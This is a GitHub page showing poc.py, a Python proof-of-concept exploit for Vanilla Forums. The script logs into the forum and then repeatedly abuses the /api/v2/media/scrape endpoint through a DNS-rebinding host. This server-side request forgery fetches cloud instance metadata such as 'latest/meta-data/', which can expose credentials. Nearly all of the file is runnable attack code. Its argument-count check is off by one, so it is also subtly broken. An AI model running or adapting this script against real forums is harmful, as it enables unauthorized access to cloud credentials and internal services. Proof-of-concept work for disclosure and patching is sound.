-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathpoc.py
53 lines (45 loc) · 1.58 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
import requests
import re
import json
import sys
if(len(sys.argv) != 5):
print("usage: ./"+sys.argv[0]+" <vanilahost> <forumuser> <forumpw> <metadata_path> <dns_rebind_host>")
print("usage: ./"+sys.argv[0]+" http://target_host/vanilla_path simpleuser simpleuser22 latest/meta-data/ rebinder.host")
exit()
s = requests.Session()
hst = sys.argv[1]
usr = sys.argv[2]
pwd = sys.argv[3]
metadata_path = sys.argv[4]
rbdrhst = sys.argv[5]
headers = {
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': hst+'/vanilla/index.php?p=/entry/signin'
}
r = s.get(hst+"/index.php?p=/entry/signin")
tkey=re.findall(r'<input type="hidden" id="Form_TransientKey" name="TransientKey" value="(.*?)" \/>',r.text)[0]
login_data={
"TransientKey": tkey,
"Email": usr,
"Password": pwd,
"DeliveryType": "VIEW",
"RememberMe": "1",
"DeliveryMethod": "JSON",
"Target": "discussions",
}
r =s.post(hst+'/index.php?p=/entry/signin', data=login_data, headers=headers)
if('Please wait while you are redirected. If you are not redirected, click' in r.text):
msg=None
while(msg==None):
r =s.post(hst+'/api/v2/media/scrape', data={'url':'http://'+rbdrhst+'/'+metadata_path}, headers=headers)
ret=json.loads(r.text)
try:
msg=ret["body"]
except Exception as e:
#print(ret)
msg=None
else:
print('login failed')
print(msg)